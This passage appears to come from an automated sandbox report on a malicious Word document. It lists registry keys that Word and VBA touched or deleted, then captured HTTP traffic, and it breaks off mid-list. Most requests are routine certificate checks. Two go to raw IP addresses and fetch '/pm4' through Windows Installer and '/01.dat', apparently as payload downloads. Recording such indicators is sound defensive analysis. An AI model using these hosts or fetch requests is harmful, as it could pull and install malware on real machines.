  2097. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  2098. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  2099. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  2100. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  2101. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  2102. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  2103. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  2104. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  2105. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  2106. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  2107. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  2108. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  2109. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  2110. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  2111. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  2112. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  2113. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  2114. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  2115. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  2116. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  2117. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  2118. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  2119. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  2120. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  2121. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  2122. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  2123. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  2124. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  2125. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  2126. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  2127. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  2128. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  2129. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  2130. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  2131. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  2132. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  2133. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  2134. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  2135. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  2136. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  2137. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  2138. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  2139. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  2140. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  2141. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  2142. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  2143. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  2144. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  2145. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  2146. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  2147. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  2148. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  2149. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  2150. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  2151. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  2152. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  2153. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  2154. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  2155. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  2156. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  2157. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  2158. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  2159. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  2160. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  2161. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  2162. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  2163. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  2164. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  2165. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  2166. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  2167. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  2168. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  2169. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  2170. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  2171. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  2172. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  2173. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  2174. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  2175. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  2176. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  2177. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  2178. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  2179. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  2180. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  2181. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  2182. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  2183. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  2184. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  2185. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  2186. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  2187. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  2188. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  2189. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  2190. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  2191. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  2192. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  2193. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  2194. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  2195. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  2196. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  2197. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  2198. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  2199. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  2200. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  2201. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  2202. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  2203. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  2204. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  2205. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  2206. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  2207. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  2208. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  2209. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  2210. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  2211. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  2212. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  2213. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  2214. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  2215. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  2216. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  2217. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  2218. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  2219. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  2220. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  2221. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  2222. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  2223. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  2224. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  2225. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  2226. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  2227. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  2228. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  2229. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  2230. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  2231. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  2232. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  2233. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  2234. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  2235. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  2236. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  2237. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  2238. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  2239. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  2240. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  2241. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  2242. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  2243. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  2244. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  2245. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  2246. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  2247. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  2248. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  2249. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  2250. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  2251. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  2252. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  2253. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  2254. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  2255. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  2256. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  2257. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  2258. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  2259. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
  2260. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  2261. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  2262. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  2263. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  2264. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  2265. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  2266. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  2267. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  2268. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  2269. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
  2270. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  2271. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
  2272. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Data\\Settings",
  2273. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Options\\BackgroundOpen",
  2274. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\PropertiesWindow",
  2275. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\MainWindow",
  2276. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\MdiMaximized",
  2277. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\Dock",
  2278. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\FolderView",
  2279. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\Tool",
  2280. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\CtlsShowSelected",
  2281. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\DsnShowSelected",
  2282. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
  2283. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
  2284. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1"
  2285. ]
  2286.  
  2287. [*] Deleted Registry Keys: [
  2288. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\\"ro",
  2289. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  2290. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  2291. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  2292. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  2293. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\96m",
  2294. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  2295. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  2296. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  2297. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  2298. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\E48DDF\\E48DDF",
  2299. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT"
  2300. ]
  2301.  
  2302. [*] DNS Communications: []
  2303.  
  2304. [*] Domains: []
  2305.  
  2306. [*] Network Communication - ICMP: []
  2307.  
  2308. [*] Network Communication - HTTP: [
  2309. {
  2310. "count": 1,
  2311. "body": "",
  2312. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2313. "user-agent": "Microsoft-CryptoAPI/6.1",
  2314. "method": "GET",
  2315. "host": "ocsp.digicert.com",
  2316. "version": "1.1",
  2317. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2318. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2319. "port": 80
  2320. },
  2321. {
  2322. "count": 1,
  2323. "body": "",
  2324. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2325. "user-agent": "Microsoft-CryptoAPI/6.1",
  2326. "method": "GET",
  2327. "host": "ocsp.msocsp.com",
  2328. "version": "1.1",
  2329. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2330. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  2331. "port": 80
  2332. },
  2333. {
  2334. "count": 1,
  2335. "body": "",
  2336. "uri": "http://54.38.127.28/pm4",
  2337. "user-agent": "Windows Installer",
  2338. "method": "GET",
  2339. "host": "54.38.127.28",
  2340. "version": "1.1",
  2341. "path": "/pm4",
  2342. "data": "GET /pm4 HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Windows Installer\r\nHost: 54.38.127.28\r\n\r\n",
  2343. "port": 80
  2344. },
  2345. {
  2346. "count": 1,
  2347. "body": "",
  2348. "uri": "http://179.43.147.77/01.dat",
  2349. "user-agent": "",
  2350. "method": "GET",
  2351. "host": "179.43.147.77",
  2352. "version": "1.1",
  2353. "path": "/01.dat",
  2354. "data": "GET /01.dat HTTP/1.1\r\nHost: 179.43.147.77\r\nCache-Control: no-cache\r\n\r\n",
  2355. "port": 80
  2356. },
  2357. {
  2358. "count": 15,
  2359. "body": "",
  2360. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2361. "user-agent": "Microsoft-CryptoAPI/6.1",
  2362. "method": "GET",
  2363. "host": "crl.microsoft.com",
  2364. "version": "1.1",
  2365. "path": "/pki/crl/products/microsoftrootcert.crl",
  2366. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2367. "port": 80
  2368. },
  2369. {
  2370. "count": 1,
  2371. "body": "",
  2372. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2373. "user-agent": "Microsoft-CryptoAPI/6.1",
  2374. "method": "GET",
  2375. "host": "crl.microsoft.com",
  2376. "version": "1.1",
  2377. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2378. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2379. "port": 80
  2380. },
  2381. {
  2382. "count": 1,
  2383. "body": "",
  2384. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2385. "user-agent": "Microsoft-CryptoAPI/6.1",
  2386. "method": "GET",
  2387. "host": "crl.microsoft.com",
  2388. "version": "1.1",
  2389. "path": "/pki/crl/products/microsoftrootcert.crl",
  2390. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Wed, 22 May 2019 05:00:43 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2391. "port": 80
  2392. },
  2393. {
